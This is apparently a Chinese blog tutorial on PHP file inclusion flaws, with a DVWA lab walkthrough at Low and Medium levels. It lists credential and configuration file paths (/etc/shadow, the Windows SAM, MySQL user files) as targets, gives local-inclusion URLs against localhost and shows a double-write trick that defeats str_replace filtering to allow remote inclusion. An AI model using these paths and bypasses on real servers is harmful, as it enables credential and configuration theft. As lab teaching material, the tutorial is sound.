File Inclusion学习

  • 文件包含简介
    • 实战:DVWA——文件包含

文件包含简介

一、文件包含简介:
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。

二、文件包含函数:
PHP中文件包含函数有以下四种:require()、require_once()、include()、include_once()

include和require区别主要是:include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

三、漏洞产生原因:
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
服务器包含文件时,不管文件后缀是否是php,都会尝试当作php文件执行,如果文件内容确为php,则会正常执行并返回结果;如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行
四、常见的敏感信息路径:

Windows系统:
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
Linux/Unix系统
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
Linux/Unix系统:
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件

以上参考:Web安全实战系列:文件包含漏洞
以下参考DVWA之文件包含漏洞

实战:DVWA——文件包含

一、Low级别
代码:

 <?php// The page we wish to display
$file = $_GET[ 'page' ];?>

可以看到,服务器端对page参数没有做任何的过滤跟检查。
服务器期望用户的操作是点击下面的三个链接,服务器会包含相应的文件,并将结果返回。需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

而现实中,恶意的攻击者是不会乖乖点击这些链接的,因此page参数是不可控的。
因此可以尝试利用这些漏洞

本地文件包含
以修改page参数改变路径来达到目的
page:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=/etc/shadow


报错,显示没有这个文件,暴露了服务器文件的绝对路径
D:\xxamp\htdocs\DVWA
构造url(绝对路径):
http://127.0.0.1/DVWA/vulnerabilities/fi/page=D:/xxamp/htdocs/DVWA/php.ini
执行,成功读取了服务器的php.ini文件

二、Medium级别
源码:

<?php// The page we wish to display
$file = $_GET[ 'page' ];// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );?>

可以看到,Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” …/”、”…\”替换为空字符,即删除。

尝试利用:
使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。

例如page=hthttp://tp://192.168.xx.xxx/phpinfo.php时,str_replace函数会将http://删除,于是page=http://192.168.xx.xxx/phpinfo.php,成功执行远程命令。
①.本地文件包含( …/绕过)
绝对路径不受任何影响,读取成功
http://127.0.0.1/DVWA/vulnerabilities/fi/page=D:/xxamp/htdocs/DVWA/php.ini

②远程文件包含

DVWA——文件包含相关推荐

  1. DVWA文件包含漏洞

    文章目录 low medium high impossible 文件上传+包含漏洞getshell 云演-phar实验 low 1.本地文件包含: 看看后端代码 <?php// The page ...

  2. Web漏洞之文件包含漏洞

    公众号:黑客菌 分享更多技术文章,欢迎关注一起探讨学习 一.文件包含漏洞概述 1.漏洞介绍 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件 ...

  3. 文件包含漏洞——DVWA练习

    前言:在学习文件上传时,制作的图片马需要我们手动去解析,而解析的方法就算用到了文件包含漏洞,所以这次就来学习一下文件包含漏洞. 文件包含漏洞简介 (一)文件包含可以分为本地文件包含和远程文件包含两种. ...

  4. web常见漏洞解析 注入 xss csrf 文件上传 文件包含 -dvwa演示

    注(以下环境皆是自己在本机搭建,请勿在公网真实操作) 1.注入 1.1 SQL注入: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶 ...

  5. DVWA远程文件包含防御

    在这里推荐下自己的博客,支持友链互换,Back's Blog 本次防御从代码层面出发, 尽量从多个角度进行防御.不足之处请指出.谢谢. 黑名单检测防御 首先看下dvwa的远程文件包含页面源码(low级 ...

  6. DVWA通关--文件包含(File Inclusion)

    目录 LOW 通关步骤 一.本地文件包含 二.远程文件包含 代码分析 MEDIUM 通关步骤 一.本地文件包含 二.远程文件包含 代码分析 HIGH 通关步骤 一.本地文件包含 二.远程文件包含 代码 ...

  7. 结合pikachu和DVWA靶场学习文件包含漏洞

    结合pikachu和DVWA靶场学习文件包含漏洞 基本概念 包含的定义 文件包含的定义 相关函数 条件 分类 本地文件包含(Local File Inclusion,简称LFI) 定义 前提: 示例: ...

  8. DVWA(4)文件包含(File Inclusion) LOW-HIGHT 操作记录

    今天带来第四期文件包含漏洞操作记录.初次接触DVWA,写下自己的操作记录,希望可以帮助每个刚接触DVWA的新手,同时希望可以提升自己的技术.注:如有操作不当的地方希望可以得到大神指导.交流.也感谢之前 ...

  9. DVWA之PHP文件包含漏洞(File Inclusion)

    PHP文件包含漏洞,简单地说,就是在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶意代码.更多 ...

最新文章

  1. 深入理解 Linux 的 epoll 机制
  2. 进击webpack4 (优化篇)
  3. 俯卧撑打造男人结实臂膀
  4. 查询已有链表的hashmap_源码分析系列1:HashMap源码分析(基于JDK1.8)
  5. 本地线程分配缓冲_线程本地分配缓冲区
  6. 如何对待基金评审负面意见?
  7. Update Remote Files 1.0
  8. 慕课软件质量保证与测试(第十章.课后作业)
  9. 工具介绍(3)- TS 视频文件分析工具神器
  10. 计算机表格名次教程,Word表格怎么算名次
  11. 微信小程序之videoshow-fullscreen-btn失效问题
  12. 解救小哈——DFS算法举例
  13. 《棒球殿堂》:棒球联盟LEAGUE·东北乐天金鹫
  14. 考研数学基础 之线性代数通法——Chapter6:合同对角化与二次型
  15. 上位机、下位机的初略解释
  16. 浅入浅出redis----II
  17. 有什么软件能每天提醒自己坚持吗?每日定时提醒做某事的便签
  18. 算法设计 - 二分法和三分法,洛谷P3382
  19. oracle10安装注意事项,科学网—Asianux server 3.0下安装oracle 10.2注意事项 - 谢安涛的博文...
  20. python3x默认使用的编码是什么_【判断题】Python3.x 的源代码中,默认使用的是ASCII编码。...

热门文章

  1. [附源码]Python计算机毕业设计Django姜太公渔具销售系统
  2. 企业动态IP,内网服务器配置
  3. 无软驱情况下服务器RAID的安装方法
  4. Linux--查找大文件的几种方法
  5. Python遍历文件夹查找大文件
  6. 解决 YOLOV5中SyntaxError: Non-ASCII character ‘\xf0‘ in file detect.py
  7. win2016开启smb服务器_使用Hyper-v Server 2016构建免费的SMB3服务器
  8. 利用卫星影像进行海岸线提取
  9. python pandas 给dataframe添加列名
  10. 大数据计算模式有哪些